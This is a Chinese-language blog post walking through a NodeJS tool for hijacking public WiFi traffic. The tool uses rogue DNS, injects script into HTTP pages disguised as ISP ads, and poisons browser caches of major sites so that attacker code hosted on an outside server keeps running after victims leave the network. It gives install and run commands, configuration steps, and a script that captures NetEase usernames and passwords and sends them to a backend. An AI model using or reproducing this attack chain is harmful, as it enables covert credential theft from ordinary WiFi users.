在上一篇《WiFi流量劫持—— 瀏覽任意頁面即可中毒》構思了一個時光機原型,讓我們的腳本通過HTTP緩存機制,在未來的某個時刻被執行,因此我們可以實現超大范圍的入侵了。
基於此原理,我們用NodeJS來實現一個簡單的樣例。得益於node強大的IO管理,以及各種封裝好的網絡模塊,我們可以很容易實現這個想法:
- 開啟一個特殊的DNS服務:所有域名都解析到我們的電腦上。並把Wifi的DHCP-DNS設置為我們的電腦IP。
- 之后連上Wifi的用戶打開任何網站,請求都將被我們的node服務收到。我們根據http頭中的host字段來轉發到真正服務器上。
- 收到服務器返回的數據之后,我們就可以實現網頁腳本的注入,並返回給用戶了!
- 當注入的腳本被執行,用戶的瀏覽器將依次預加載各大網站的常用腳本庫。我們將其感染,並設置超長的緩存時間。
於是大功告成!
為了方便測試和控制,已把整個流程:DNS、HTTP代理、代碼分析和注入都使用NodeJS編寫,並整合在一起。下面就來測試一下!
獲取Demo: (https://github.com/EtherDream/closurether)
# npm install -g closurether
運行:
# closurether
啟動成功的話,會輸出:
[SYS] local ip: 192.168.1.250 [DNS] running 0.0.0.0:53 [WEB] listening 0.0.0.0:80
[WEB] listening 0.0.0.0:443
當然,192.168.1.250這是我本地的IP,推薦使用固定的IP地址。
打開無線路由器-DHCP配置,將主DNS設置為自己的IP,重啟路由。到此,你已經控制了整個無線網絡的流量了!
用另一台電腦連上你的wifi:
這時會發現,ping任何域名,不出意外的話都會返回你的IP,DNS劫持已發揮作用了!
$ ping www.baidu.com PING www.baidu.com (192.168.1.250): 56 data bytes Request timeout for icmp_seq 0 $ ping www.google.com PING www.google.com (192.168.1.250): 56 data bytes Request timeout for icmp_seq 0
打開任意網頁,一切正常。我們可以在node控制台看到用戶訪問的每一個請求。
當然這時網頁上什么效果也沒出現。這個Demo畢竟是個間諜程序,怎么可能會有界面呢?
想看效果的話修改項目里的asset/inject/extern.js,往里面加一條:
alert('Hello World');
這時再刷新頁面,效果出現了!
打開任意網頁的源文件,發現其中都注入了我們的腳本內容。為了隱蔽性,這里將注入的腳本偽裝成運營商的url,別人還以為是聯通寬帶插的廣告 ^_^
具體想偽裝成什么地址,可以在config.json里配置。
腳本內容正是asset/inject/extern.js文件:
到此,我們已實現把javascript代碼注入到WiFi網絡的HTTP流量里了!
下面測試我們的終極目標:能穿越到未來執行的腳本時光機。
前面仔細觀察的話,不難發現注入的腳本內容里多出一大堆url,這些正是我們需要讓用戶預加載並緩存的各大網站腳本。具體原理在上一篇里已經詳細講解了。
如果想入侵更多的網站,往tool/cache-sniffer/url.txt里添加。運行:
$ phantomjs sniffer.js
程序將自動更新注入腳本的內容。
要想預加載並緩存一個腳本很容易,只需new Image().src='...'。當然有少數瀏覽器不支持,不過ie和chrome都是支持的。盡管js文件並不是一個圖片,但仍然會緩存。
上一篇文章已說明,為了減少一次請求大量腳本文件消耗的帶寬,我們並不返回真正的原始腳本文件,而是一個很小的“樁文件”,用來啟動我們的入侵代碼,以及恢復原始腳本文件。
因此這個“樁文件”代碼量非常少,區區百來字節而已。例如hao123網站下的某個已被感染了的腳本:
我們創建兩個script元素,來加載外網的入侵代碼,以及恢復原始腳本代碼,使網頁能正常運行。注意:原始腳本url后面的?1必不可少,否則又會從緩存里加載被感染的當前腳本,進入死循環。
使用document.write的好處在於,它創建的腳本是異步加載順序執行的。所以在原始腳本未加載完之前,后面的腳本不會執行,避免了未定義錯誤的發生。
入侵代碼的url可以在config.json里hacker_url字段配置。為了保證未來被感染的腳本被喚醒時,能正常調出你的入侵代碼,所以選擇一個可靠的外網來存放。
本Demo演示如何入侵並截獲網易首頁的賬號,可以參考代碼:http://jslog.sinaapp.com/ad.js。
演示中的代碼很簡單,僅僅捕捉用戶在網易首頁上輸入的賬號和密碼而已,然后傳給后台保存到數據庫里。
var url = location.href; if (/\.163\.com/i.test(url)) { function onSubmit() { post( NTES.one('#js_loginframe_username').value, NTES.one('input[type=password]').value ); } NTES.one('.ntes-loginframe-btn').addEventListener('click', onSubmit); NTES.one('input[type=password]').addEventListener('keydown', function(e) { if (e.keyCode == 13) { onSubmit(); } }); }
下面重啟電腦,並連上家里的WiFi。(連過KFC的用戶回家之后的情況)
這時用戶的流量已完全不在我們的可控之中,看我們的腳本是否仍能從沉睡之中喚醒呢?
打開www.163.com,一切正常~
輸入用戶名密碼,一切正常~
似乎並沒有感覺到任何的異常。回到我們自己的電腦上來看看,后台的籠子里是否有獵物捕捉到。。。
很好,我們的入侵代碼已成功執行,在用戶離開了我們的網絡之后依舊能夠運行!只要登錄了我們事先感染過的那些網站,入侵代碼都將會被喚醒。
事實上,只要用戶不清空緩存,這段代碼終將附着在硬盤緩存里,直到過期。有可能是1個星期,甚至數月的時間。
所謂一時失足成千古恨莫過於此。一時大意連接了一個wifi熱點,不經意間間諜已潛入你的瀏覽器緩存里。。。
==============================
使用NodeJS,我們只需數百行代碼就實現了這個想法。當然,簡單的同時缺點也是不言而喻的。node只提供了傳輸層的網絡接口,我們無法操作底層網絡數據。所以只能使用DNS劫持的方法來獲得用戶的流量。因此也就產生了一個非常糾結的問題:
怎樣才能確定用戶查詢的域名是HTTP主機呢?
由於我們把所有的域名都解析到了自己的電腦上,因此包括其他的網絡程序數據也轉發到了我們這里。然而我們的node只監聽了tcp:80端口,對於其他的端口則是完全忽略的。
即使我們監聽了其他端口,我們也無法把收到的數據轉發到真實的服務器 —— 我們根本不知道發到哪個地址上!
HTTP之所以能實現轉發,得益於頭部有個host字段;而非HTTP協議,甚至包括HTTPS,我們只能收到一堆二進制數據,然后就不知道的該交給誰了。
此問題雖然無法避免,但也有一定程度的解決方案:
1.) 事先收集各大網站的域名。之后用戶查詢的域名在列表里的話,直接返回自己的電腦IP;否則轉發給外網DNS。
當記錄足夠多的話,我們可以攔截住用戶大多數的網站流量。
但要收集大量的網站域名並不容易,而且仍會有不少的遺漏。因此我們使用更簡單的方法:
2.) 仍然將所有的域名解析到自己電腦上,但域名TTL時間很短,幾秒后就過期。
如果在之后的幾秒時間里,收到訪問這個域名的http請求(host字段是這個域名),那么就認為這個域名是http服務的;
如果規定時間里沒有收到,那么就當做非http服務的域名。當域名ttl過期后,下次再查詢這個域名時,就解析到外網真實的服務器IP了。反正不是http協議,收到了也沒用。
3.) 嘗試訪問前來請求域名的80端口。如果能連接上,就當做是一個Web域名。就返回自己的IP。
目前使用方法3來識別域名。事實上基於DNS的流量劫持還有更大缺陷:
- 如果用戶手工設置的DNS怎么辦?比如8.8.8.8的用戶就非常多。
- 不是80端口的網站又如何是好?難道我們要把1~65535的端口都監聽嗎?
- 一個網站域名下同時有http和其他服務了,攔截就導致那個服務不可用了。
- 最麻煩的當屬純IP的網站,那么就完全無法攔截了~
糾結之處就不再吐槽,不然就永遠實現不了我們的想法了,以后再使用node擴展慢慢完善。
即便面臨着不少問題,我們的Demo仍能順利跑起來 —— 完全按照我們的預想運行!
==============================
后記
補充一個更簡明的演示:https://github.com/EtherDream/mitm-http-cache-poisoning
之前的 Demo 臨時寫的,比較混亂,一直沒有更新。而且局域網里也用不着 DNS 的方式,用 DHCP 劫持的方式效果更好。